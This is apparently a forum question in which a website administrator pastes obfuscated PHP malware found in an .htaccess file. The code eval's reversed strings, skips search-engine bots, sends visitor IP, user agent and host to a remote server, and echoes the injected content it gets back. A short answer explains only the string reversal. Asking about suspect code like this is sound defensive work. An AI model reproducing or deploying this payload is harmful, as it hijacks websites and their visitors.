What does function s37 in htaccess do?

Question

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:

function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));

Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?

Answer 1

function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...